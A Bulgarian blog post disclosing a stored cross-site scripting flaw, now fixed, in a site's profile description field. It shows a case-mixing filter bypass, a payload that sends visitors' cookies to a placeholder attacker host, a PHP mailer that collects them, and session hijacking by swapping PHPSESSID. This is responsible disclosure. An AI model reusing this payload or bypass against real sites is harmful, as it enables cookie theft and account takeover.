Като начало ще кажа, че предварително съм уведомил най-главния администратор, (или поне така пишеше в екипа на сайта) mesmeric, за проблема.
И сега, за да не се опитвате да го правите отново и отново, трябва да знаете, че проблема вече е разрешен от програмистите на сайта и дупката е затворена.
Какво се случи всъщност…
Както се “разхождах” насам-натам из сайта, реших да проверя какво може самият сайт (това ми е професионално изкривяване). Без да искам се натъкнах на съвсем елементарен начин да инжеркирам JavaScript в описанието на профила си.
Профил -> Настройки -> Описание и там написах следното:
<body onload="alert('hello world');"> |
Тъй като не се получи, опитах нещо друго, а именно:
<body oNload="alert('hello world');"> |
Забележете, че тук имам главно N. Това се прие от системата и всеки, който отвореше профила ми виждаше това, което съм написал в oNload таг-а.
Реших да си поиграя още малко (межувременно чаках отговор от администраторите на kefche).
Използвах следният скрипт:
<body onLoad="new Image().src='http://XSSATTACKDOMAIN.com/kefche.php?c='+encodeURI(document.cookie)+'USERNAME__'+document.getElementsByClassName('wlink')[0];"> |
Тоест, взимам всички cookies на потребителя, който разглежда моят профил заедно с линк до неговият потребителски профил и ги изпращам на мейла си:
kefche.php
mail('mail@domain.com', 'kefche sess', $_GET['c']); |
После сменям моето PHPSESSID със стойността на нечие друго потребителско cookie и на следващият клик се озовавам с неговият акаунт 🙂
Инфо: след като оправиха проблема изрично съм поискал разрешение от въпросната администраторка за да публикувам тази статия.